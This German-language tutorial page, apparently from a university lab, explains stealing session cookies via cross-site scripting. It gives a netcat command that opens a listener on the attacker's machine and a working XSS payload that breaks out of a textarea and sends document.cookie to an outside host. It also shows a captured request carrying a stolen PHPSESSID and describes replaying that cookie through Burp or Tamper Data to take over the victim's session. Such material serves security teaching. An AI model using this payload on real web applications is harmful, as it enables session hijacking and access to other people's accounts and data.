Cookie Stealing mittels XSS
Cookie-Stealing ist eine Technik die es dem Angreifer ermöglicht mit Hilfe eines giftigen XSS-Codes,
das Cookie des Opfers auszulesen und deren Session zu übernehmen weshalb diese Technik auch
Session Hijacking genannt wird.
Zum Vergrößern auf das Bild klicken
- Bei folgendem Szenario setzen wir voraus, das Opfer ist bereits an der Webanwendung Angemeldet und besitzt ein Session Cookie.
- Der Hacker sendet eine mit XSS-Code vergiftete Nachricht an das Opfer.
- Das Opfer Empfängt die Nachricht und öffnet sie, ohne das Wissen des Opfers wird der XSS-Code im Hintergrund ausgeführt.
- Der XSS-Code sendet das Session Cookie vom Opfer an den Angreifer.
- Der Angreifer übernimmt mittels Cookie die Session vom Opfer.
Fake Webserver
Netcat, auch nc genannt, ist ein einfaches Werkzeug, um Daten von der Standardein- oder -ausgabe über Netzwerkverbindungen zu transportieren. Es arbeitet als Server oder Client mit den Protokollen TCP und UDP.
Mittels Netcat erstellen wir einen fake Webserver auf dem Angreifer System der auf port 8001 lauscht:
echo '/n/n' | nc -nvl 8001 -q 1
XSS Code um Cookie zu stehlen
Dieser Code sendet den aktuellen Cookie vom Opfer System an den fake Webserver vom Angreifer
beliebiger Text</textarea><script>newImage().src="http://Fake_Webserver_IP:Fake_Webserver_PORT/"+document.cookie</script><textarea rows=1 cols=1>
Meldung vom fake Webserver
stud:~$ echo '/n/n' | nc -nvl 8001 -q 1
Connection from 192.168.146.145 port 8001 [tcp/*] accepted
GET /PHPSESSID=id9orm8lqsghkjp24l1ofinpc5 HTTP/1.1
Host: 192.168.179.19:8001
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.179.2/aufg/listu.php
Als Ergebniss können wir hier den gestohlenen Cookie sehen:
Cookie: „PHPSESSID=id9orm8lqsghkjp24l1ofinpc5“
Der Angreifer kann sich jetzt mit dem gestohlenen Cookie bei der Webanwendung mit der geklauten Identität anmelden und hat somit vollen Zugriff auf die Daten des Opfers.
Web Proxy
Dazu benötigt er einen Web Proxy wie Burp oder Tamper Data um den HTTP-Header zu modifizieren und den
gestohlenen Cookie an den Server mit zu schicken.
Hier wird mittels Tamper Data das Cookie mitgegeben:
Zum Vergrößern auf das Bild klicken
Als Ergebnis hat der Angreifer erfolgreich die Session des Opfers übernommen.